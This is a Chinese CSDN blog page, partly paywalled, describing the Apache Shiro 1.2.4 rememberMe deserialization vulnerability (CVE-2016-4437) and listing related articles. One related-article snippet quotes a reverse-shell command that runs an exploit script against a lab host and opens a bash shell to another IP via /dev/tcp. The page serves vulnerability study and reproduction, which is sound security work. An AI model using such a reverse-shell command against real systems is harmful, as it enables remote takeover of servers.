Shiro1.2.4反序列化漏洞复现(Shiro550，CVE-2016-4437)

最新推荐文章于 2024-07-26 13:49:29 发布
最新推荐文章于 2024-07-26 13:49:29 发布
阅读量7.6k 收藏 12
点赞数 1
分类专栏： 漏洞复现 文章标签： java http
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_36119192/article/details/98389956
版权
本文详细介绍了Apache Shiro 1.2.4版本的一个反序列化漏洞（CVE-2016-4437），包括漏洞描述、如何判断网站是否使用Shiro、复现漏洞的步骤（环境搭建、检测目标网站的key值、验证漏洞、反弹shell）以及实战记录。攻击者可利用默认密钥伪造用户Cookie，触发Java反序列化漏洞，执行任意命令。
摘要由CSDN通过智能技术生成

目录

漏洞描述

如何判断网站是否使用Shiro

shiro反序列化复现

环境搭建

检测目标网站的key值

验证是否有漏洞

反弹shell

实战记录

漏洞描述

Apache Shiro是一款开源安全框架，提供身份验证、授权、密码学和会话管理。Shiro框架直观、易用，同时也能提供健壮的安全性。

Apache Shiro 1.2.4及以前版本中，加密的用户信息序列化后存储在名为remember-me的Cookie中。攻击者可以使用Shiro的默认密钥伪造用户Cookie，触发Java反序列化漏洞，进而在目标机器上执行任意命令。

漏洞产生原因：

shiro默认使用了CookieRememberMeManager，其处理cookie的流程是：得到rememberMe的cookie值-->Base64解码-->AES解密-->反序列化。然而AES的密钥是硬编码的，就导致了攻击者可以构造恶意数据造成反序列化的RCE漏洞。

payload 构造

恶意命令-->序列化-

了解本专栏 订阅专栏 解锁全文 超级会员免费看
谢公子
关注
专栏目录
订阅专栏
Apache Shiro 1.2.4反序列化漏洞(Shiro-550)--Shiro rememberMe反序列化漏洞(CVE-2016-4437)
薛定谔嘚喵博客
05-10 1573
Apache Shiro是一款开源安全框架，提供身份验证、授权、密码学和会话管理。Shiro框架直观、易用，同时也能提供健壮的安全性。Apache Shiro 1.2.4及以前版本中，加密的用户信息序列化后存储在名为remember-me的Cookie中。攻击者可以使用Shiro的默认密钥伪造用户Cookie，触发Java反序列化漏洞，进而在目标机器上执行任意命令。
Apache Shiro 1.2.4反序列化漏洞（CVE-2016-4437） 复现
yukinorong的博客
06-29 3262
基础知识 序列化和反序列化 反序列化漏洞原因 在Java反序列化中，会调用被反序列化的readObject方法，当readObject方法书写不当时就会引发漏洞。 反序列化的检测 基础库中隐藏的反序列化漏洞 优秀的Java开发人员一般会按照安全编程规范进行编程，很大程度上减少了反序列化漏洞的产生。并且一些成熟的Java框架比如Spring MVC、Struts2等，都有相应的防范反序列化的机制。如果仅仅是开发失误，可能很少会产生反序列化漏洞，即使产生，其绕过方法、利用方式也较为复杂。但
shiro反序列化漏洞修复
小斐的专栏
03-01 313
shiro反序列化漏洞修复
ApacheShiro复现记录1
08-08
ApacheShiro复现记录1
Shiro-550漏洞分析与复现(CVE-2016-4437)
最新发布
人们并不感谢罗辑
07-26 1512
Shiro中实现身份验证主要是靠Remember Me(记住我)功能，它允许用户在关闭浏览器后再次访问时无需重新登陆。用户登陆成功后生成一个加密的、包含用户身份信息的序列化对象，加密过程是 身份信息 -- 序列化 -- AES加密 -- base64编码 ，然后储存在remember Me的cookie中。当用户再次登录时，浏览器会携带这个remember Me发送给服务器。服务器解析从而获得用户身份信息，实现免登录访问，过程就是base64编码 -- AES加密 -- 序列化 -- 身份信息。
shiro反序列化复现.zip
08-03
shiro反序列化复现工具包；shiro反序列化复现工具包；
[Vulhub] Apache Shiro 反序列化漏洞（shiro-550，shiro-721）
weixin_45605352的博客
05-15 2973
0x00 漏洞描述 Apache Shiro是一款开源强大且易用的Java安全框架，提供身份验证、授权、密码学和会话管理。Shiro框架直观、易用，同时也能提供健壮的安全性。 Apache Shiro 1.2.4及以前版本中，加密的用户信息序列化后存储在名为remember-me的Cookie中。攻击者可以使用Shiro的默认密钥伪造用户Cookie，触发Java反序列化漏洞，进而在目标机器上执行任意命令。 0x01 影响版本 Apache Shiro <= 1.2.4 漏洞特征： shiro反序列
低版本shiro反序列化漏洞解决
05-09 341
1、shiro替换：先将之前的shiro相关jar包删除。然后引入shiro-all-1.7.1.jar。同时，必须引入另外一个依赖包 encoder-1.2.2.jar。老版本ssm项目：jdk1.7，tomcat7，shiro1.2.4，spring3.2。4、spring替换：用spring4替换spring3.2。2、tomcat替换：用tomcat8替换tomcat7。3、jdk替换：用jdk8替换jdk7。
Apache shiro1.2.4反序列化漏洞介绍.docx
07-01
然而，在Apache Shiro 1.2.4及其更早的版本中，存在一个严重的反序列化漏洞。这个漏洞主要与RememberMe服务的实现有关。在处理RememberMe的Cookie时，Shiro的`CookieRememberMeManager`类会执行一系列操作：首先，它...
CVE-2016-4437 Shiro反序列化漏洞复现
weixin_45260839的博客
05-15 2861
CVE-2016-4437 Shiro反序列化漏洞复现
Apache Shiro反序列化漏洞复现并利用（CVE-2016-4437）
qq_42773814的博客
01-10 2590
关于CVE-2016-4437漏洞描述 Apache Shiro 1.2.5之前的版本中，当没有为“记住我”功能配置密码密钥时，远程攻击者可通过未指定的请求参数执行任意代码或绕过预期的访问限制。 影响版本：Apache Shiro <= 1.2.4 漏洞原理 Apache Shiro框架提供了Remember Me功能，用户登录成功后会生成经过加密并编码的Cookie，即使关闭了浏览器，再次访问时无需进行登录操作即可以之前的身份访问网站。 默认情况下，Shiro使用CookieRemembe
Shiro框架漏洞分析与复现
m0_59598029的博客
04-18 1863
ApacheShiro是一款开源安全框架，提供身份验证、授权、密码学和会话管理。Shiro框架直观、易用，同时也能提供健壮的安全性，可以快速轻松地保护任何应用程序——从最小的移动应用程序到最大的Web 和企业应用程序。
shiro反序列化漏洞学习（工具+原理+复现）
wangluoanquan111的博客
04-19 1561
工具准备2.冰蝎 C:\Users\ali\Desktop\tools\Behinder_v4.0.63.shiro反序列化 图形化工具4.shiro反序列化 命令行工具一.Shiro-550 CVE-2016-4437序列化：在Java中，把Java对象转换为字节序列（json/xml）的过程叫序列化。反过来，把字节序列（json/xml）恢复为Java对象的过程就叫反序列化。Shiro反序列化：Apache。
shiro550反序列化漏洞原理与漏洞复现（基于vulhub，保姆级的详细教程）
xnxqwzy的博客
04-19 1526
如何判断我的服务器是否受到了针对shiro550漏洞的攻击？检查日志：查看系统的日志文件，看是否有异常的访问记录或登录失败记录，如果发现了异常，可以进一步分析该记录是否与Shiro550漏洞有关。检查系统状态：检查系统是否存在异常状态，如系统崩溃、服务宕机等，这可能是攻击者利用Shiro550漏洞进行攻击导致的。检查用户行为：检查是否有用户在短时间内多次尝试登录或者进行异常操作，这可能是攻击者正在利用Shiro550漏洞尝试获取系统权限。
狂神Shiro 笔记
fengjiuxin的博客
08-14 565
Shiro 简介 三个核心：Subject，Shiro SecurityManager,Reaim Shiro SecurityManager管理Subjec 架构 Authentication 身份认证、登录 Authorization 授权，即权限验证，验证某个已经认证的用户是否拥有某个权限 Session Manager 会话管理，session管理 web里边 Cryptography 加密，保护数据的安全性，如密码加密存储到数据库，而不是明文存储 Web Support 能够容易的集成We
[Java反序列化]—Shiro反序列化(一)
snowlyzz的博客
12-05 7671
shiro -550 反序列化（一）
Apache Shiro 1.2.4反序列化漏洞
07-27
Apache Shiro 1.2.4版本之前存在一个反序列化漏洞。在这个版本之前，默认的ASE密钥是固定的，这意味着攻击者可以直接反序列化执行恶意代码。然而，在1.2.4版本之后，ASE密钥不再是默认的，需要获取到密钥才能进行渗透。\[1\] 在服务端接收cookie值时，攻击者可以利用这个漏洞进行攻击。攻击者可以按照以下步骤来解析处理cookie值：首先检索RememberMe cookie的值，然后进行Base64解码，接着使用AES解密（加密密钥硬编码），最后进行反序列化操作。由于在调用反序列化时未进行任何过滤处理，攻击者可以触发远程代码执行漏洞。\[2\] 攻击者可以利用这个漏洞执行反弹shell语句，从而获取对目标系统的控制权。例如，可以使用以下命令来执行反弹shell语句：python .\shiro_rce.py http://192.168.111.8:8080 "bash -i >& /dev/tcp/192.168.111.128/9001 0>&1"。\[3\] #### 引用[.reference_title] - *1* *2* *3* [Apache Shiro 1.2.4 反序列化漏洞(CVE-2016-4437 )](https://blog.csdn.net/weixin_60329395/article/details/127399081)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^insertT0,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]
评论 1
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

谢公子

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值